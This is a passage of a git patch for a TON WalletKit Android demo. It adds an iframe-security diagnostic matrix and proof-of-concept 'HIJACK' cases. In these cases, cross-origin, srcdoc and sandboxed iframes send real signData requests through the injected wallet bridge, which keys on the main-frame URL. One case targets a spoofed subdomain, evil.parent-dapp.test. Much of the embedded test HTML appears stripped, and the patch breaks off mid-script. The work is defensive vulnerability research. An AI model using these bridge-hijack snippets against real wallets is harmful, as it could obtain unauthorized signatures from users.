From 8bbfcdc4bf1e3549e679b519d6efe4f33b8dbb5c Mon Sep 17 00:00:00 2001 From: Nikita Rodionov Date: Wed, 10 Jun 2026 12:58:18 +0300 Subject: [PATCH 01/10] Iframe testing --- .../ui/screen/WalletKitInvestigationScreen.kt | 89 +++- .../presentation/ui/screen/WalletScreen.kt | 1 + .../ui/screen/iframesec/IframeSecurityCase.kt | 435 ++++++++++++++++++ .../ui/screen/iframesec/IframeSecurityLog.kt | 73 +++ .../screen/iframesec/IframeSecurityWebView.kt | 126 +++++ .../screen/iframesec/RealBridgeIframeCase.kt | 301 ++++++++++++ .../WalletKitIframeSecurityScreen.kt | 305 ++++++++++++ .../WalletKitRealBridgeIframeScreen.kt | 277 +++++++++++ 8 files changed, 1595 insertions(+), 12 deletions(-) create mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt create mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt create mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt create mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt create mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitIframeSecurityScreen.kt create mode 100644 AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/WalletKitRealBridgeIframeScreen.kt diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt index 0499b8f3..baa5fbad 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletKitInvestigationScreen.kt @@ -19,8 +19,13 @@ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ +@file:SuppressLint("SetJavaScriptEnabled") + package io.ton.walletkit.demo.presentation.ui.screen +import android.annotation.SuppressLint +import android.view.ViewGroup +import android.webkit.WebView import android.widget.Toast import androidx.activity.compose.BackHandler import androidx.compose.foundation.background @@ -40,34 +45,57 @@ import androidx.compose.ui.draw.clip import androidx.compose.ui.platform.LocalContext import androidx.compose.ui.res.stringResource import androidx.compose.ui.unit.dp +import androidx.compose.ui.viewinterop.AndroidView +import io.ton.walletkit.ITONWalletKit import io.ton.walletkit.demo.R import io.ton.walletkit.demo.designsystem.components.text.TonText import io.ton.walletkit.demo.designsystem.theme.SmoothCornerShape import io.ton.walletkit.demo.designsystem.theme.TonTheme import io.ton.walletkit.demo.presentation.ui.dialog.UrlPromptDialog +import io.ton.walletkit.demo.presentation.ui.screen.iframesec.RealBridgeIframeCase +import io.ton.walletkit.demo.presentation.ui.screen.iframesec.WalletKitIframeSecurityScreen +import io.ton.walletkit.demo.presentation.ui.screen.iframesec.WalletKitRealBridgeIframeScreen import io.ton.walletkit.demo.presentation.util.QrScanner +import io.ton.walletkit.extensions.injectTonConnect + +private enum class InvestigationPage { Tonconnect, DappWebView, IframeMatrix, RealBridge } /** * Developer "Wallet Kit Investigation" screen: a list of debug tools reached from the wallet-home - * gear icon. Currently one entry — Tonconnect, which opens a page with "Connect to dApp" (paste a - * link) and "Scan QR code" actions to connect the active wallet. + * gear icon. Hosts the TonConnect helper plus the iframe-security investigation screens (synthetic + * diagnostic matrix and the real-bridge matrix) and a plain dApp WebView. */ @Composable fun WalletKitInvestigationScreen( onBack: () -> Unit, onConnect: (String) -> Unit, + walletKit: ITONWalletKit, modifier: Modifier = Modifier, ) { - var showTonconnect by remember { mutableStateOf(false) } + var page by remember { mutableStateOf(null) } - if (showTonconnect) { - BackHandler { showTonconnect = false } - WalletKitTonconnectScreen( - onBack = { showTonconnect = false }, - onConnect = onConnect, - modifier = modifier, - ) - return + when (page) { + InvestigationPage.Tonconnect -> { + BackHandler { page = null } + WalletKitTonconnectScreen(onBack = { page = null }, onConnect = onConnect, modifier = modifier) + return + } + InvestigationPage.DappWebView -> { + BackHandler { page = null } + DappWebViewScreen(onBack = { page = null }, walletKit = walletKit, modifier = modifier) + return + } + InvestigationPage.IframeMatrix -> { + BackHandler { page = null } + WalletKitIframeSecurityScreen(onBack = { page = null }, modifier = modifier) + return + } + InvestigationPage.RealBridge -> { + BackHandler { page = null } + WalletKitRealBridgeIframeScreen(walletKit = walletKit, onBack = { page = null }, modifier = modifier) + return + } + null -> Unit } Column( @@ -84,7 +112,13 @@ fun WalletKitInvestigationScreen( ) { InvestigationRow( title = stringResource(R.string.investigation_tonconnect), - onClick = { showTonconnect = true }, + onClick = { page = InvestigationPage.Tonconnect }, + ) + InvestigationRow(title = "dApp WebView", onClick = { page = InvestigationPage.DappWebView }) + InvestigationRow(title = "Iframe Security Matrix", onClick = { page = InvestigationPage.IframeMatrix }) + InvestigationRow( + title = "Iframe Security — Real dApp Bridge", + onClick = { page = InvestigationPage.RealBridge }, ) } } @@ -142,6 +176,37 @@ private fun WalletKitTonconnectScreen( } } +/** Minimal dApp WebView with the real WalletKit injection — mirrors the iOS investigation entry. */ +@Composable +private fun DappWebViewScreen( + onBack: () -> Unit, + walletKit: ITONWalletKit, + modifier: Modifier = Modifier, +) { + Column( + modifier = modifier + .fillMaxSize() + .background(TonTheme.colors.bgSecondary), + ) { + SubScreenTopBar(title = "dApp WebView", onBack = onBack) + AndroidView( + modifier = Modifier.fillMaxSize(), + factory = { ctx -> + WebView(ctx).apply { + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT, + ) + settings.javaScriptEnabled = true + settings.domStorageEnabled = true + injectTonConnect(walletKit) + loadUrl(RealBridgeIframeCase.DAPP_URL) + } + }, + ) + } +} + @Composable private fun InvestigationRow(title: String, onClick: () -> Unit) { val shape = SmoothCornerShape(12.dp) diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt index 96658342..9beec37c 100644 --- a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/WalletScreen.kt @@ -459,6 +459,7 @@ fun WalletScreen( WalletKitInvestigationScreen( onBack = { subScreen = HomeSubScreen.None }, onConnect = actions::onHandleUrl, + walletKit = walletKit, ) } HomeSubScreen.None -> Unit diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt new file mode 100644 index 00000000..e069822a --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityCase.kt @@ -0,0 +1,435 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import android.util.Base64 + +/** + * Synthetic iframe-security matrix (diagnostic only). + * + * Each case serves a self-contained page (main frame at https://parent-dapp.test/) plus iframes + * that exercise one attack surface. A diagnostic bridge object (window.iframeSecLog, wired via + * WebViewCompat.addWebMessageListener) logs every postMessage together with the REAL per-frame + * origin the platform reports (sourceOrigin + isMainFrame) — so the claimed and actual origins can + * be compared side by side. No real WalletKit bridge is involved here. + */ +enum class IframeSecurityCase(val routeKey: String) { + BASELINE("baseline"), + SAME_ORIGIN_IFRAME("sameOriginIframe"), + PROGRAMMATIC_IFRAME("programmaticIframe"), + SAME_ORIGIN_VIA_PATH("sameOriginViaPath"), + SUFFIX_SPOOFED_SUBDOMAIN("suffixSpoofedSubdomain"), + CROSS_ORIGIN_IFRAME("crossOriginIframe"), + NESTED_IFRAME("nestedIframe"), + SIBLING_IFRAMES("siblingIframes"), + PAYLOAD_ORIGIN_SPOOF("payloadOriginSpoof"), + SANDBOXED_IFRAME("sandboxedIframe"); + + val title: String + get() = when (this) { + BASELINE -> "1. Baseline (no iframe)" + SAME_ORIGIN_IFRAME -> "2. Same-origin iframe (srcdoc)" + PROGRAMMATIC_IFRAME -> "2a. Programmatic iframe (no src)" + SAME_ORIGIN_VIA_PATH -> "2b. Same-origin via path" + SUFFIX_SPOOFED_SUBDOMAIN -> "2c. Suffix-spoofed subdomain" + CROSS_ORIGIN_IFRAME -> "3. Cross-origin iframe (data:)" + NESTED_IFRAME -> "4. Nested iframes (3 levels)" + SIBLING_IFRAMES -> "5. Sibling iframes (cross-origin)" + PAYLOAD_ORIGIN_SPOOF -> "6. Payload origin spoofing" + SANDBOXED_IFRAME -> "7. Sandboxed iframe" + } + + val summary: String + get() = when (this) { + BASELINE -> + "Sanity check. Parent page, no iframes. Verifies the diagnostic bridge logs " + + "main-frame events with the expected origin." + SAME_ORIGIN_IFRAME -> + "srcdoc iframe inherits the parent's origin. A bridge keyed by origin alone cannot " + + "distinguish parent from iframe." + PROGRAMMATIC_IFRAME -> + "Parent creates an iframe via document.createElement('iframe') with no src/srcdoc. " + + "The about:blank document inherits the parent's origin." + SAME_ORIGIN_VIA_PATH -> + "Parent at https://parent-dapp.test/ embeds an iframe at /widget on the same host. " + + "Different path does not break SOP — both frames share an origin." + SUFFIX_SPOOFED_SUBDOMAIN -> + "Iframe loaded from https://evil.parent-dapp.test/widget. A naive " + + "origin.endsWith(\"parent-dapp.test\") check would accept it; exact-host match rejects." + CROSS_ORIGIN_IFRAME -> + "iframe loaded via data: URL gets an opaque (\"null\") origin. If approval is tied to " + + "the parent origin, the iframe must be rejected." + NESTED_IFRAME -> + "Three-level: parent -> iframe A (data:) -> iframe B (data:). The deepest frame " + + "triggers an event; the bridge should see B's origin, not the parent's." + SIBLING_IFRAMES -> + "Two opaque-origin siblings under one parent. One simulates a connect, the other a " + + "transaction. They must not share permission state." + PAYLOAD_ORIGIN_SPOOF -> + "iframe sends a payload that claims origin https://parent-dapp.test. The bridge must " + + "trust the platform-reported sourceOrigin, never the payload." + SANDBOXED_IFRAME -> + "iframe sandbox=\"allow-scripts\" (no allow-same-origin) gets a fresh opaque origin " + + "even with srcdoc." + } + + val vulnerabilityClass: String + get() = when (this) { + BASELINE -> "(none) — reference baseline." + SAME_ORIGIN_IFRAME -> "CWE-940. Origin-only permission is bypassed by frames that inherit origin." + PROGRAMMATIC_IFRAME -> "Same as case 2 — origin-only permission; iframe is also fully scriptable from the parent." + SAME_ORIGIN_VIA_PATH -> "Origin-only permission. sourceOrigin is path-agnostic; per-path control needs explicit URL tracking." + SUFFIX_SPOOFED_SUBDOMAIN -> "CWE-1390 / weak origin verification. Substring/suffix matching + subdomain trust." + CROSS_ORIGIN_IFRAME -> "CWE-346. Bridge must reject events whose sourceOrigin differs from the granted origin." + NESTED_IFRAME -> "Confused-deputy / nested-frame relay. Trust does not transit through intermediate frames." + SIBLING_IFRAMES -> "Shared permission state. Per-tab/per-WebView permissions leak between unrelated iframes." + PAYLOAD_ORIGIN_SPOOF -> "Self-reported origin. Bridge must use the platform sourceOrigin, never the JS payload." + SANDBOXED_IFRAME -> "Sandbox origin semantics. allow-scripts without allow-same-origin yields an opaque origin." + } + + val observation: String + get() = when (this) { + BASELINE -> "Real and claimed origin both = https://parent-dapp.test. isMainFrame = true." + SAME_ORIGIN_IFRAME -> "Real origin equals the parent's (green badge) but isMainFrame = false. Origin alone is not enough." + PROGRAMMATIC_IFRAME -> "Real origin = https://parent-dapp.test (same as parent). isMainFrame = false." + SAME_ORIGIN_VIA_PATH -> "Both frames report https://parent-dapp.test. The /widget path is not part of sourceOrigin." + SUFFIX_SPOOFED_SUBDOMAIN -> "Iframe origin = https://evil.parent-dapp.test (different host). A suffix match would wrongly accept it." + CROSS_ORIGIN_IFRAME -> "Iframe real origin is logged as opaque/null. isMainFrame = false." + NESTED_IFRAME -> "The deepest frame logs its own opaque origin. Parent never appears for that event." + SIBLING_IFRAMES -> "Each sibling reports a distinct opaque origin. No shared identity." + PAYLOAD_ORIGIN_SPOOF -> "Claimed origin (red) = parent-dapp.test, but the real origin is opaque. The mismatch is the vulnerability." + SANDBOXED_IFRAME -> "Origin is opaque even though srcdoc would normally inherit. Sandbox strips same-origin." + } + + /** Main URL the WebView loads for this case. */ + val mainUrl: String get() = "$PARENT_ORIGIN/" + + /** + * In-memory route table (url -> html) served via shouldInterceptRequest. Always serves the + * main page; cases with same-host navigated iframes add extra routes. + */ + fun routes(): Map { + val routes = linkedMapOf() + when (this) { + BASELINE -> routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+ + +
+ + """, + ) + + SAME_ORIGIN_IFRAME -> { + val inner = doc( + """ +
+
SRCDOC IFRAME — inherits parent origin
+
origin:
+ + +
+ """, + ) + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+ +
+ + + """, + ) + } + + PROGRAMMATIC_IFRAME -> routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+ + +
+
+ + """, + ) + + SAME_ORIGIN_VIA_PATH -> { + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT ($PARENT_ORIGIN/)
+
origin:
+ +
+ + + """, + ) + routes["$PARENT_ORIGIN/widget"] = doc( + """ +
+
SAME-ORIGIN WIDGET (/widget path)
+
origin:
+ + +
+ """, + ) + } + + SUFFIX_SPOOFED_SUBDOMAIN -> { + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT ($PARENT_ORIGIN/)
+
origin:
+ +
+ + + """, + ) + routes["$EVIL_ORIGIN/widget"] = doc( + """ +
+
SUFFIX-SPOOFED WIDGET (evil.parent-dapp.test)
+
origin:
+ + +
+ """, + ) + } + + CROSS_ORIGIN_IFRAME -> { + val inner = doc( + """ +
+
DATA: IFRAME — opaque origin
+
origin:
+ + +
+ """, + ) + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+ +
+ + + """, + ) + } + + NESTED_IFRAME -> { + val innerB = doc( + """ +
+
IFRAME B — deepest (data:)
+
origin:
+ + +
+ """, + ) + val innerA = doc( + """ +
+
IFRAME A — middle (data:)
+
origin:
+ + +
+ """, + ) + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+
+ + + """, + ) + } + + SIBLING_IFRAMES -> { + val a = doc( + """ +
+
SIBLING A (data:)
+
origin:
+ + +
+ """, + ) + val b = doc( + """ +
+
SIBLING B (data:)
+
origin:
+ + +
+ """, + ) + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+
+ + + + """, + ) + } + + PAYLOAD_ORIGIN_SPOOF -> { + val inner = doc( + """ +
+
DATA: IFRAME — lies in payload
+
real origin:
+ + +
+ """, + ) + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+
+ + + """, + ) + } + + SANDBOXED_IFRAME -> { + val inner = doc( + """ +
+
SANDBOXED SRCDOC (allow-scripts only)
+
origin:
+ + +
+ """, + ) + routes["$PARENT_ORIGIN/"] = doc( + """ +
+
PARENT
+
origin:
+
+ + + """, + ) + } + } + return routes + } + + companion object { + const val PARENT_ORIGIN = "https://parent-dapp.test" + const val EVIL_ORIGIN = "https://evil.parent-dapp.test" + + private val HTML_HEAD = """ + + + + """.trimIndent() + + private fun doc(body: String): String = + "$HTML_HEAD${body.trimIndent()}" + + private fun dataUrl(html: String): String { + val b64 = Base64.encodeToString(html.toByteArray(Charsets.UTF_8), Base64.NO_WRAP) + return "data:text/html;charset=utf-8;base64,$b64" + } + + private fun srcdocEscape(html: String): String = + html.replace("&", "&").replace("\"", """) + } +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt new file mode 100644 index 00000000..9596bab5 --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityLog.kt @@ -0,0 +1,73 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import androidx.compose.runtime.mutableStateListOf +import java.util.UUID + +/** + * One diagnostic log row. [actualOrigin] is the platform-reported origin of the frame that posted + * (the ground truth — JS cannot forge it). [claimedOrigin] is whatever the frame's JS claimed. + * [isNative] marks rows that come from the native SDK event stream rather than a JS bridge message. + */ +data class IframeSecLogEntry( + val id: String = UUID.randomUUID().toString(), + val timestamp: Long = System.currentTimeMillis(), + val frameLabel: String, + val action: String, + val claimedOrigin: String, + val actualOrigin: String, + val isMainFrame: Boolean, + val payload: String = "", + val isNative: Boolean = false, +) + +/** Compose-observable log shared by the synthetic and real-bridge iframe-security screens. */ +class IframeSecLog { + val entries = mutableStateListOf() + + fun add(entry: IframeSecLogEntry) { + entries.add(entry) + } + + /** + * Append an entry describing an event the native SDK actually received and surfaced — proof + * the bridge accepted the request, plus the [domain] the SDK attributed to it. + */ + fun addNative(action: String, domain: String, payload: String = "") { + entries.add( + IframeSecLogEntry( + frameLabel = "SDK EVENT", + action = action, + claimedOrigin = domain, + actualOrigin = domain, + isMainFrame = true, + payload = payload, + isNative = true, + ), + ) + } + + fun clear() { + entries.clear() + } +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt new file mode 100644 index 00000000..cf3871ef --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/IframeSecurityWebView.kt @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:SuppressLint("SetJavaScriptEnabled") + +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import android.annotation.SuppressLint +import android.net.Uri +import android.util.Log +import android.view.ViewGroup +import android.webkit.WebResourceRequest +import android.webkit.WebResourceResponse +import android.webkit.WebView +import androidx.compose.runtime.Composable +import androidx.compose.ui.Modifier +import androidx.compose.ui.viewinterop.AndroidView +import androidx.webkit.WebViewClientCompat +import androidx.webkit.WebViewCompat +import androidx.webkit.WebViewFeature +import org.json.JSONObject +import java.io.ByteArrayInputStream + +private const val TAG = "IframeSecWebView" + +/** + * Diagnostic WebView for the synthetic iframe-security matrix. + * + * - Serves the case's in-memory routes (https://parent-dapp.test/...) via shouldInterceptRequest, + * so navigated same-host / subdomain iframes get real, distinct origins. + * - Wires a diagnostic bridge object `window.iframeSecLog` via WebViewCompat.addWebMessageListener. + * The listener receives the platform-reported sourceOrigin + isMainFrame for the posting frame — + * the ground-truth origin that JS cannot forge. + */ +@Composable +fun IframeSecurityWebView( + testCase: IframeSecurityCase, + log: IframeSecLog, + modifier: Modifier = Modifier, +) { + val routes = testCase.routes() + AndroidView( + modifier = modifier, + factory = { context -> + WebView(context).apply { + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT, + ) + settings.javaScriptEnabled = true + settings.domStorageEnabled = true + + webViewClient = object : WebViewClientCompat() { + override fun shouldInterceptRequest( + view: WebView, + request: WebResourceRequest, + ): WebResourceResponse? { + val url = request.url.toString().substringBefore('#').substringBefore('?') + val html = routes[url] ?: return null + return WebResourceResponse( + "text/html", + "utf-8", + ByteArrayInputStream(html.toByteArray(Charsets.UTF_8)), + ) + } + } + + if (WebViewFeature.isFeatureSupported(WebViewFeature.WEB_MESSAGE_LISTENER)) { + WebViewCompat.addWebMessageListener( + this, + "iframeSecLog", + setOf("*"), + ) { _, message, sourceOrigin, isMainFrame, _ -> + handleMessage(log, message.data, sourceOrigin, isMainFrame) + } + } else { + Log.w(TAG, "WEB_MESSAGE_LISTENER not supported on this WebView") + } + + loadUrl(testCase.mainUrl) + } + }, + ) +} + +private fun handleMessage( + log: IframeSecLog, + raw: String?, + sourceOrigin: Uri?, + isMainFrame: Boolean, +) { + val data = raw ?: return + val json = runCatching { JSONObject(data) }.getOrNull() ?: return + + val actualOrigin = sourceOrigin?.toString().orEmpty().ifEmpty { "null (opaque)" } + val payload = json.optJSONObject("payload")?.toString().orEmpty() + + log.add( + IframeSecLogEntry( + frameLabel = json.optString("frameLabel", "?"), + action = json.optString("action", "?"), + claimedOrigin = json.optString("claimedOrigin", "?"), + actualOrigin = actualOrigin, + isMainFrame = isMainFrame, + payload = if (payload == "{}") "" else payload, + ), + ) +} diff --git a/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt new file mode 100644 index 00000000..2b10f853 --- /dev/null +++ b/AndroidDemo/app/src/main/java/io/ton/walletkit/demo/presentation/ui/screen/iframesec/RealBridgeIframeCase.kt @@ -0,0 +1,301 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +package io.ton.walletkit.demo.presentation.ui.screen.iframesec + +import android.util.Base64 + +/** + * Iframe-security matrix against the REAL WalletKit injected bridge on Android. + * + * Android security model (TonConnectInjector / TonConnectOperations): the injected bridge object + * `AndroidTonConnect` is a @JavascriptInterface reachable from ALL frames and carries NO per-frame + * origin. The native side derives the request `domain` from `webView.url` — i.e. the MAIN frame's + * URL — for every frame. Consequently a request from ANY iframe (cross-origin data:, srcdoc, + * sandboxed, …) is attributed to the connected main-frame domain and authorized. + * + * This is strictly weaker than iOS, where WKFrameInfo.securityOrigin gives a true per-frame origin + * and cross-origin frames are rejected. The diagnostic `iframeSecLog` listener (addWebMessageListener) + * shows the true per-frame origin for contrast, while the SDK event log shows the (main-frame) + * domain the bridge actually attributed. + */ +enum class RealBridgeIframeCase { + BASELINE_MAIN, + SAME_ORIGIN_NAVIGATED, + CROSS_ORIGIN_DATA, + SRCDOC, + SANDBOXED, + RAW_JS_INTERFACE; + + val shortTitle: String + get() = when (this) { + BASELINE_MAIN -> "Main" + SAME_ORIGIN_NAVIGATED -> "Same-origin" + CROSS_ORIGIN_DATA -> "data:" + SRCDOC -> "srcdoc" + SANDBOXED -> "sandboxed" + RAW_JS_INTERFACE -> "Raw JS iface" + } + + val title: String + get() = when (this) { + BASELINE_MAIN -> "Baseline — main dApp frame (legit)" + SAME_ORIGIN_NAVIGATED -> "Same-host navigated iframe" + CROSS_ORIGIN_DATA -> "Cross-origin data: iframe — HIJACK" + SRCDOC -> "srcdoc iframe — HIJACK" + SANDBOXED -> "Sandboxed iframe — HIJACK" + RAW_JS_INTERFACE -> "Raw AndroidTonConnect from data: iframe — HIJACK" + } + + val summary: String + get() = when (this) { + BASELINE_MAIN -> + "Fires a real signData from the main dApp frame itself (the frame that connected). " + + "Reference for the legitimate path." + SAME_ORIGIN_NAVIGATED -> + "An iframe navigated to a path on the same host as the dApp. Its request is attributed " + + "to the dApp domain (webView.url) and authorized, though it never connected." + CROSS_ORIGIN_DATA -> + "Opaque-origin data: iframe sends a complete signData. On Android the bridge keys on " + + "webView.url, so it is attributed to the dApp domain and AUTHORIZED — the core hijack." + SRCDOC -> + "srcdoc iframe sends a real signData. Attributed to the dApp domain and authorized." + SANDBOXED -> + "sandbox=\"allow-scripts\" frame. If AndroidTonConnect is reachable, the request is " + + "still attributed to the dApp domain and authorized." + RAW_JS_INTERFACE -> + "A data: iframe calls window.AndroidTonConnect.postMessage(...) DIRECTLY (no provider). " + + "The @JavascriptInterface is exposed to every frame and carries no origin — the " + + "request is authorized as the main frame." + } + + /** On Android every frame's request is attributed to webView.url, so the sheet is expected. */ + val expectsSheet: Boolean get() = true + + val expectation: String + get() = "Expected on Android: native sign-data sheet APPEARS (bridge attributes the request " + + "to webView.url — the main dApp domain — regardless of the frame's real origin)." + + /** JS evaluated in the dApp main frame: builds the topology and wires the real signData. */ + fun spawnJs(): String { + val body = when (this) { + BASELINE_MAIN -> + """ + (function(){ + var LBL='MAIN-DAPP'; + function log(a,e){try{window.iframeSecLog.postMessage(JSON.stringify({frameLabel:LBL,action:a,claimedOrigin:(location.origin||'null'),payload:e||'',ts:Date.now()}));}catch(x){}} + var p=(window.ton&&window.ton.tonconnect)||(window.wallet&&window.wallet.tonconnect); + if(!p){log('NO PROVIDER IN MAIN FRAME');return;} + log('signData(real) from MAIN frame via provider →'); + p.send({method:'signData',params:[JSON.stringify({type:'text',text:'Legit signData from main dApp frame'})],id:String(Date.now())}) + .then(function(r){log('RESOLVED ✓ wallet signed',JSON.stringify(r).slice(0,180));}) + .catch(function(e){log('REJECTED ✗',(e&&e.message?e.message:String(e)).slice(0,180));}); + })(); + """.trimIndent() + + SAME_ORIGIN_NAVIGATED -> { + val script = realSendScript("SAME-ORIGIN-IFRAME", "Navigated to a path on the dApp host. Never connected.") + """ + (function(){ + var SRC=${jsString(script)}; + var f=document.createElement('iframe'); + ${frameStyle("f")} + f.src=${jsString(SAME_ORIGIN_URL)}; + f.addEventListener('load',function(){ + try{var d=f.contentWindow.document;var s=d.createElement('script');s.textContent=SRC;(d.body||d.documentElement).appendChild(s);} + 